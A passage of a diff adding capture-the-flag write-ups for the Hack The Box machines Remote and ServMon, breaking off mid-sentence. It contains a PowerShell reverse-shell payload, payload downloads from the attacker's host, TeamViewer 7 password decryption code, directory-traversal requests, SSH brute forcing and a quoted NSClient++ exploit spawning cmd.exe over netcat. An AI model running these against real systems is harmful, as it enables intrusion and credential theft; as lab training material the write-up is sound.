+ [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + [03]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + [04]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC-05:00) Eastern Time (US & Canada) + Total Physical Memory: 4,095 MB + Available Physical Memory: 2,745 MB + Virtual Memory: Max Size: 4,799 MB + Virtual Memory: Available: 3,426 MB + Virtual Memory: In Use: 1,373 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: N/A + **Hotfix(s): 5 Hotfix(s) Installed. + [01]: KB4534119 + [02]: KB4462930 + [03]: KB4516115 + [04]: KB4523204 + [05]: KB4464455** + Network Card(s): 1 NIC(s) Installed. + [01]: vmxnet3 Ethernet Adapter + Connection Name: Ethernet0 2 + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.180 + [02]: fe80::108b:625:aa40:7e42 + [03]: dead:beef::108b:625:aa40:7e42 + Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + + + +And we also are able to print out the infos about the server itself, including the current hotfixes. However we first need to get a reverse shell onto the box, let's find where the ftp folder is: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command ls c:/' + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + **d----- 2/20/2020 1:13 AM ftp_transfer** + d----- 2/19/2020 3:11 PM inetpub + d----- 2/19/2020 11:09 PM Microsoft + d----- 9/15/2018 3:19 AM PerfLogs + d-r--- 2/23/2020 2:19 PM Program Files + d----- 2/23/2020 2:19 PM Program Files (x86) + **d----- 5/30/2021 11:07 AM site_backups** + d-r--- 2/19/2020 3:12 PM Users + d----- 2/20/2020 12:52 AM Windows + + + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command ls c:/ftp_transfer' + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command new-item c:/ftp_transfer/test.txt' + + + Directory: C:\ftp_transfer + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 5/31/2021 1:45 AM 0 test.txt + + +And as you can see, we are able to write to the **C:\ftp_transfer** directory so let's make use of it by first locally creating our powershell script containing our reverse shell payload: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → vim shell.ps1 + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → cat shell.ps1 + $client = New-Object System.Net.Sockets.TCPClient(**"10.10.14.13",9001**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + + +This will send a reverse shell connection back to our **tun0** interface on port **9001** once we get the box to execute it. In order to do that, we can get this script into the ftp_transfer directory we found earlier: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command curl http://10.10.14.13:9090/shell.ps1 -o c:/ftp_transfer/shell.ps1' + + [ 10.10.14.13/23 ] [ /dev/pts/44 ] [~/HTB/Remote] + → ls -lash shell.ps1 + 4.0K -rw-r--r-- 1 nothing nothing 482 May 31 07:50 shell.ps1 + + [ 10.10.14.13/23 ] [ /dev/pts/44 ] [~/HTB/Remote] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.10.10.180 - - [31/May/2021 07:53:26] "GET /shell.ps1 HTTP/1.1" 200 - + + + +Now that our shell.ps1 got uploaded, let's execute it: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command c:/ftp_transfer/shell.ps1' + + [ 10.10.14.13/23 ] [ /dev/pts/44 ] [~/HTB/Remote] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.180] 49854 + whoami + iis apppool\defaultapppool + + +And we got a reverse shell connection! + + + # cd c:\users\public + # ls + + + Directory: C:\users\public + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 2/19/2020 3:03 PM Documents + d-r--- 9/15/2018 3:19 AM Downloads + d-r--- 9/15/2018 3:19 AM Music + d-r--- 9/15/2018 3:19 AM Pictures + d-r--- 9/15/2018 3:19 AM Videos + -ar--- 5/30/2021 12:08 PM 34 user.txt + + + # cat user.txt + 67XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we managed to get the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the Administrator user on this box, we're going to run winpeas on the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Remote] + → cp $(locate winPEAS.ps1) . + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Remote] + → ls -lash Invoke-winPEAS.ps1 + 228K -rw-r--r-- 1 nothing nothing 228K May 31 09:00 Invoke-winPEAS.ps1 + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Remote] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + # cd C:\ftp_transfer + # curl http://10.10.14.13:9090/Invoke-winPEAS.ps1 -o peas.ps1 + + # import-module ./peas.ps1 + # Invoke-winPEAS + + + +So here we basically got our winpeas powershell module onto the box, then we imported it which gave us the Invoke-winPEAS command to execute: + +![](prg/44_005.png) + +Immediately winPEAS found 9 potential CVEs on the box: + +![](prg/44_006.png) + +However one of the intended privesc paths to follow was the TeamViewer v7 application that's installed on the box: + +![](prg/44_007.png) + + + # cd 'C:\Program Files (x86)\TeamViewer\' + # ls + + + Directory: C:\Program Files (x86)\TeamViewer + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 5/31/2021 12:54 AM Version7 + + + +We're going to take advantage of this teamviewer version 7 software to privesc to the Administrator user like how it was described in this [blogpost](https://whynotsecurity.com/blog/teamviewer/): + +First of all, TeamViewer7 stores the password in the registry under the value **SecurityPasswordAES** and this password is encrypted with **AES-128-CBC** , with the key set as **0602000000a400005253413100040000** and the Initialization Vector set as **0100010067244F436E6762F25EA8D704** , Looking up google a bit, we [find](https://community.teamviewer.com/English/kb/articles/16835-how-to-uninstall-teamviewer-on-pc) that the registry key for TeamViewer is under **HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer** : + + + # reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer + + HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7 + # reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer\Version7 + + HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7 + StartMenuGroup REG_SZ TeamViewer 7 + InstallationDate REG_SZ 2020-02-20 + InstallationDirectory REG_SZ C:\Program Files (x86)\TeamViewer\Version7 + Always_Online REG_DWORD 0x1 + Security_ActivateDirectIn REG_DWORD 0x0 + Version REG_SZ 7.0.43148 + ClientIC REG_DWORD 0x11f25831 + PK REG_BINARY BFAD2AEDB6C89AE0A0FD0501A0C5B9A5C0D957A4CC57C1884C84B6873EA03C069CF06195829821E28DFC2AAD372665339488DD1A8C85CDA8B19D0A5A2958D86476D82CA0F2128395673BA5A39F2B875B060D4D52BE75DB2B6C91EDB28E90DF7F2F3FBE6D95A07488AE934CC01DB8311176AEC7AC367AB4332ABD048DBFC2EF5E9ECC1333FC5F5B9E2A13D4F22E90EE509E5D7AF4935B8538BE4A606AB06FE8CC657930A24A71D1E30AE2188E0E0214C8F58CD2D5B43A52549F0730376DD3AE1DB66D1E0EBB0CF1CB0AA7F133148D1B5459C95A24DDEE43A76623759017F21A1BC8AFCD1F56FD0CABB340C9B99EE3828577371B7ADA9A8F967A32ADF6CF062B00026C66F8061D5CFF89A53EAE510620BC822BC6CC615D4DE093BC0CA8F5785131B75010EE5F9B6C228E650CA89697D07E51DBA40BF6FC3B2F2E30BF6F1C01F1BC2386FA226FFFA2BE25AE33FA16A2699A1124D9133F18B50F4DB6EDA2D23C2B949D6D2995229BC03507A62FCDAD55741B29084BD9B176CFAEDAAA9D48CBAF2C192A0875EC748478E51156CCDD143152125AE7D05177083F406703ED44DCACCD48400DD88A568520930BED69FCD672B15CD3646F8621BBC35391EAADBEDD04758EE8FC887BACE6D8B59F61A5783D884DBE362E2AC6EAC0671B6B5116345043257C537D27A8346530F8B7F5E0EBACE9B840E716197D4A0C3D68CFD2126E8245B01E62B4CE597AA3E2074C8AB1A4583B04DBB13F13EB54E64B850742A8E3E8C2FAC0B9B0CF28D71DD41F67C773A19D7B1A2D0A257A4D42FC6214AB870710D5E841CBAFCD05EF13B372F36BF7601F55D98ED054ED0F321AEBA5F91D390FF0E8E5815E6272BA4ABB3C85CF4A8B07851903F73317C0BC77FA12A194BB75999319222516 + SK REG_BINARY F82398387864348BAD0DBB41812782B1C0ABB9DAEEF15BC5C3609B2C5652BED7A9A07EA41B3E7CB583A107D39AFFF5E06DF1A06649C07DF4F65BD89DE84289D0F2CBF6B8E92E7B2901782BE8A039F2903552C98437E47E16F75F99C07750AEED8CFC7CD859AE94EC6233B662526D977FFB95DD5EB32D88A4B8B90EC1F8D118A7C6D28F6B5691EB4F9F6E07B6FE306292377ACE83B14BF815C186B7B74FFF9469CA712C13F221460AC6F3A7C5A89FD7C79FF306CEEBEF6DE06D6301D5FD9AB797D08862B9B7D75B38FB34EF82C77C8ADC378B65D9ED77B42C1F4CB1B11E7E7FB2D78180F40C96C1328970DA0E90CDEF3D4B79E08430E546228C000996D846A8489F61FE07B9A71E7FB3C3F811BB68FDDF829A7C0535BA130F04D9C7C09B621F4F48CD85EA97EF3D79A88257D0283BF2B78C5B3D4BBA4307D2F38D3A4D56A2706EDAB80A7CE20E21099E27481C847B49F8E91E53F83356323DDB09E97F45C6D103CF04693106F63AD8A58C004FC69EF8C506C553149D038191781E539A9E4E830579BCB4AD551385D1C9E4126569DD96AE6F97A81420919EE15CF125C1216C71A2263D1BE468E4B07418DE874F9E801DA2054AD64BE1947BE9580D7F0E3C138EE554A9749C4D0B3725904A95AEBD9DACCB6E0C568BFA25EE5649C31551F268B1F2EC039173B7912D6D58AA47D01D9E1B95E3427836A14F71F26E350B908889A95120195CC4FD68E7140AA8BB20E211D15C0963110878AAB530590EE68BF68B42D8EEEB2AE3B8DEC0558032CFE22D692FF5937E1A02C1250D507BDE0F51A546FE98FCED1E7F9DBA3281F1A298D66359C7571D29B24D1456C8074BA570D4D0BA2C3696A8A9547125FFD10FBF662E597A014E0772948F6C5F9F7D0179656EAC2F0C7F + LastMACUsed REG_MULTI_SZ \0005056B9A169 + MIDInitiativeGUID REG_SZ {514ed376-a4ee-4507-a28b-484604ed0ba0} + MIDVersion REG_DWORD 0x1 + ClientID REG_DWORD 0x6972e4aa + CUse REG_DWORD 0x1 + LastUpdateCheck REG_DWORD 0x5e72893c + UsageEnvironmentBackup REG_DWORD 0x1 + **SecurityPasswordAES REG_BINARY FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B** + MultiPwdMgmtIDs REG_MULTI_SZ admin + MultiPwdMgmtPWDs REG_MULTI_SZ 357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77 + Security_PasswordStrength REG_DWORD 0x3 + + HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7\AccessControl + HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7\DefaultSettings + + + +We already see it but let's filter to just get the part we want: + + + + # reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer\Version7 /v SecurityPasswordAES + + HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7 + **SecurityPasswordAES REG_BINARY FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B** + + + +now that we got it, we can use the python script of the aforementionned blog post in order to decrypt the password: + + + import sys, hexdump, binascii + from Crypto.Cipher import AES + + class AESCipher: + def __init__(self, key): + self.key = key + + def decrypt(self, iv, data): + self.cipher = AES.new(self.key, AES.MODE_CBC, iv) + return self.cipher.decrypt(data) + + key = binascii.unhexlify("0602000000a400005253413100040000") + iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704") + **hex_str_cipher = "FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B"** + + ciphertext = binascii.unhexlify(hex_str_cipher) + + raw_un = AESCipher(key).decrypt(iv, ciphertext) + + print(hexdump.hexdump(raw_un)) + + password = raw_un.decode('utf-16') + print(password) + + + + [ 10.10.14.13/23 ] [ /dev/pts/49 ] [~/HTB/Remote] + → pip3 install pycryptodome hexdump + Requirement already satisfied: pycryptodome in /home/nothing/.local/lib/python3.9/site-packages (3.10.1) + Requirement already satisfied: hexdump in /home/nothing/.local/lib/python3.9/site-packages (3.3) + + [ 10.10.14.13/23 ] [ /dev/pts/49 ] [~/HTB/Remote] + → python3 decrypt.py + 00000000: 21 00 52 00 33 00 6D 00 30 00 74 00 65 00 21 00 !.R.3.m.0.t.e.!. + 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ + None + !R3m0te! + + +And we found the password! Now let's use it with evilWinRM: + + + [ 10.10.14.13/23 ] [ /dev/pts/49 ] [~/HTB/Remote] + → evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami + remote\administrator + *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop + *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt + 6aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/44_graph.png) + diff --git a/Easy/45.md b/Easy/45.md new file mode 100644 index 0000000..af9dbb1 --- /dev/null +++ b/Easy/45.md @@ -0,0 +1,581 @@ +# ServMon Writeup + +![](img/45.png) + +## Introduction : + +ServMon is an easy Windows box released back in April 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → nmap -sCV 10.10.10.184 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-29 17:22 CEST + Nmap scan report for 10.10.10.184 + Host is up (0.053s latency). + Not shown: 996 closed ports + PORT STATE SERVICE VERSION + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 5666/tcp open tcpwrapped + 8443/tcp open ssl/https-alt + | fingerprint-strings: + | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: + | HTTP/1.1 404 + | Content-Length: 18 + | Document not found + | GetRequest: + | HTTP/1.1 302 + | Content-Length: 0 + | Location: /index.md + | workers + |_ jobs + | http-title: NSClient++ + |_Requested resource was /index.md + | ssl-cert: Subject: commonName=localhost + | Not valid before: 2020-01-14T13:24:20 + |_Not valid after: 2021-01-13T13:24:20 + |_ssl-date: TLS randomness does not represent time + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=5/29%Time=60B25FA8%P=x86_64-pc-linux-gn + SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation + SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 + SF:\0\0\0\0\0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs\x12\x02\x1 + SF:8\x7f\x12\x0f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x + SF:2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\. + SF:1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(R + SF:TSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocumen + SF:t\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length + SF::\x2018\r\n\r\nDocument\x20not\x20found"); + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry! + |_smb2-time: ERROR: Script execution failed (use -d to debug) + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + + Nmap done: 1 IP address (1 host up) scanned in 911.51 seconds + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → nmap -sCV -p21 10.10.10.184 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-29 17:43 CEST + Nmap scan report for 10.10.10.184 + Host is up (0.12s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_01-18-20 12:05PM Users + | ftp-syst: + |_ SYST: Windows_NT + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 21 ftp with anonymous login allowed, so let's examine it: + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → wget -r ftp://anonymous:anonymous@10.10.10.184/ + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → tree + . + └── 10.10.10.184 + └── Users + ├── Nadine + │   └── Confidential.txt + └── Nathan + └── Notes to do.txt + + +After downloading recursively everything there was in the ftp service, we get 2 potential usernames and 2 textfiles: + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → cat 10.10.10.184/Users/Nadine/Confidential.txt + Nathan, + + I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. + + Regards + + Nadine% + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → cat 10.10.10.184/Users/Nathan/Notes\ to\ do.txt + 1) Change the password for NVMS - Complete + 2) Lock down the NSClient Access - Complete + 3) Upload the passwords + 4) Remove public access to NVMS + 5) Place the secret files in SharePoint% + + +Our nmap scan also picked up port 80: + +![](prg/45_002.png) + +Seems like we get a NVMS service, let's check if there are any exploits known for it: + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → searchsploit NVMS + ------------------------------------------ --------------------------------- + Exploit Title | Path + ------------------------------------------ --------------------------------- + NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt + OpenVms 5.3/6.2/7.x - UCX POP Server Arbi | multiple/local/21856.txt + OpenVms 8.3 Finger Service - Stack Buffer | multiple/dos/32193.txt + TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py + ------------------------------------------ --------------------------------- + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → cat $(locate 47774.txt) + # Title: NVMS-1000 - Directory Traversal + # Date: 2019-12-12 + # Author: Numan Türle + # Vendor Homepage: http://en.tvt.net.cn/ + # Version : N/A + # Software Link : http://en.tvt.net.cn/products/188.html + + POC + --------- + + GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1 + Host: 12.0.0.1 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 + Accept-Encoding: gzip, deflate + Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 + Connection: close + + Response + --------- + + ; for 16-bit app support + [fonts] + [extensions] + [mci extensions] + [files] + [Mail] + MAPI=1% + + +Looks like NVMS1000 is vulnerable to Directory Traversal attacks, so let's test this: + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → curl http://10.10.10.184/../../../../../../../../../../../../windows/win.ini + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → curl http://10.10.10.184/../../../../../../../../../../../../windows/win.ini --path-as-is + ; for 16-bit app support + [fonts] + [extensions] + [mci extensions] + [files] + [Mail] + MAPI=1 + + + +Following the note we found earlier, let's use that directory traversal vulnerability to get to Passwords.txt: + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → curl http://10.10.10.184/../../../../../../../../../../../../users/Nathan/Desktop/Passwords.txt --path-as-is + 1nsp3ctTh3Way2Mars! + Th3r34r3To0M4nyTrait0r5! + B3WithM30r4ga1n5tMe + L1k3B1gBut7s@W0rk + 0nly7h3y0unGWi11F0l10w + IfH3s4b0Utg0t0H1sH0me + Gr4etN3w5w17hMySk1Pa5$% + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → curl http://10.10.10.184/../../../../../../../../../../../../users/Nathan/Desktop/Passwords.txt --path-as-is > passwords.txt + + + +Now with this we can use hydra to bruteforce the ssh passwords : + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → hydra -L users.txt -P passwords.txt ssh://10.10.10.184 + Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-29 19:23:59 + [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 + [DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:2/p:7), ~1 try per task + [DATA] attacking ssh://10.10.10.184:22/ + [22][ssh] host: 10.10.10.184 login: Nadine password: L1k3B1gBut7s@W0rk + 1 of 1 target successfully completed, 1 valid password found + Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-29 19:24:01 + + + +So let's SSH as the nadine user: + + + [ 10.10.14.13/23 ] [ /dev/pts/5 ] [~/HTB/Servmon] + → ssh nadine@10.10.10.184 + The authenticity of host '10.10.10.184 (10.10.10.184)' can't be established. + ECDSA key fingerprint is SHA256:l00hI7FlitUwW9ndgFDHLzImSDNxQcjLOKxQPRmbzls. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.184' (ECDSA) to the list of known hosts. + nadine@10.10.10.184's password: + Microsoft Windows [Version 10.0.18363.752] + (c) 2019 Microsoft Corporation. All rights reserved. + + nadine@SERVMON C:\Users\Nadine>dir + Volume in drive C has no label. + Volume Serial Number is DC93-6115 + + Directory of C:\Users\Nadine + + 08/04/2020 23:16 DIR> . + 08/04/2020 23:16 DIR> .. + 18/01/2020 11:23 DIR> 3D Objects + 18/01/2020 11:23 DIR> Contacts + 08/04/2020 22:28 DIR> Desktop + 08/04/2020 22:28 DIR> Documents + 18/01/2020 11:23 DIR> Downloads + 08/04/2020 22:27 DIR> Favorites + 08/04/2020 22:27 DIR> Links + 18/01/2020 11:23 DIR> Music + 18/01/2020 11:31 DIR> OneDrive + 18/01/2020 11:23 DIR> Pictures + 18/01/2020 11:23 DIR> Saved Games + 18/01/2020 11:23 DIR> Searches + 18/01/2020 11:23 DIR> Videos + 0 File(s) 0 bytes + 15 Dir(s) 6,097,006,592 bytes free + + nadine@SERVMON C:\Users\Nadine>type Desktop/user.txt + The syntax of the command is incorrect. + + nadine@SERVMON C:\Users\Nadine>cd Desktop + + nadine@SERVMON C:\Users\Nadine\Desktop>dir + Volume in drive C has no label. + Volume Serial Number is DC93-6115 + + Directory of C:\Users\Nadine\Desktop + ****08/04/2020 22:28 DIR> . + 08/04/2020 22:28 DIR> .. + 29/05/2021 16:31 34 user.txt + 1 File(s) 34 bytes + 2 Dir(s) 6,097,006,592 bytes free + + nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt + dbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to get root access to this box, we're going to use WinPEAS to enumerate this box: + + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → locate winPEAS.bat + /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat . + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + nadine@SERVMON C:\Users\Nadine\Desktop>curl "http://10.10.14.13:9090/winPEAS.bat" --output peas.bat + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 35761 100 35761 0 0 35761 0 0:00:01 --:--:-- 0:00:01 247k + + nadine@SERVMON C:\Users\Nadine\Desktop>cmd /c peas.bat + + +` ![](prg/45_003.png) + +As we look for interesting stuff with the winpeas.bat output, we stumble upon NSClient++: + +![](prg/45_004.png) + +So let's look for available exploits: + + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → searchsploit nsclient++ + ----------------------------------------- --------------------------------- + Exploit Title | Path + ----------------------------------------- --------------------------------- + NSClient++ 0.5.2.35 - Authenticated Remo | json/webapps/48360.txt + NSClient++ 0.5.2.35 - Privilege Escalati | windows/local/46802.txt + ----------------------------------------- --------------------------------- + Shellcodes: No Results + + + +Here we want the Privilege Escalation one: + + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → cat $(46802.txt) + 46802.txt: command not found + ^[[A^C + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → cat $(locate 46802.txt) + + [...] + + Exploit: + 1. Grab web administrator password + - open c:\program files\nsclient++\nsclient.ini + or + - run the following that is instructed when you select forget password + C:\Program Files\NSClient++>nscp web -- password --display + Current password: SoSecret + + 2. Login and enable following modules including enable at startup and save configuration + - CheckExternalScripts + - Scheduler + + 3. Download nc.exe and evil.bat to c:\temp from attacking machine + @echo off + c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe + + 4. Setup listener on attacking machine + nc -nlvvp 443 + + 5. Add script foobar to call evil.bat and save settings + - Settings > External Scripts > Scripts + - Add New + - foobar + command = c:\temp\evil.bat + + 6. Add schedulede to call script every 1 minute and save settings + - Settings > Scheduler > Schedules + - Add new + - foobar + interval = 1m + command = foobar + + 7. Restart the computer and wait for the reverse shell on attacking machine + nc -nlvvp 443 + listening on [any] 443 ... + connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671 + Microsoft Windows [Version 10.0.17134.753] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\Program Files\NSClient++>whoami + whoami + nt authority\system + + +We could follow the steps, but it is preferable to use the other script (48360.py) to automate this. So we're going to follow the first step: + + + nadine@SERVMON C:\Users\Nadine\Desktop>powershell + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + Try the new cross-platform PowerShell https://aka.ms/pscore6 + + PS C:\Users\Nadine\Desktop> type "c:\program files\nsclient++\nsclient.ini" | findstr password + password = ew2x6SsGTxjRwXOT + + + +And then, we're going to visit port 8443, that our nmap scan picked up as being NSClient++, however viewing the page from https://10.10.10.184:8443 will not allow us to login because only localhost is allowed as we can see from the config file: + + + PS C:\Users\Nadine\Desktop> type "c:\program files\nsclient++\nsclient.ini" | findstr 127 + allowed hosts = 127.0.0.1 + + + +So we're going to make a SSH tunnel to the host to access it's localhost: + + + [ 10.10.14.13/23 ] [ /dev/pts/38 ] [~/HTB/Servmon] + → **ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184** + nadine@10.10.10.184's password: **L1k3B1gBut7s@W0rk** + + Microsoft Windows [Version 10.0.18363.752] + (c) 2019 Microsoft Corporation. All rights reserved. + + nadine@SERVMON C:\Users\Nadine> + + + +Now with the SSH tunnel, we can visit the website from it's localhost by going to **https://127.0.0.1:8443** using the **ew2x6SsGTxjRwXOT** password we found earlier: + +![](prg/45_013.png) + +![](prg/45_014.png) + +Once we are logged in, we're going to make sure that we can get a binary file to get a reverse shell from the box. And as i have discovered, HTB does not care about it's older retired boxes, and does not update them / fix 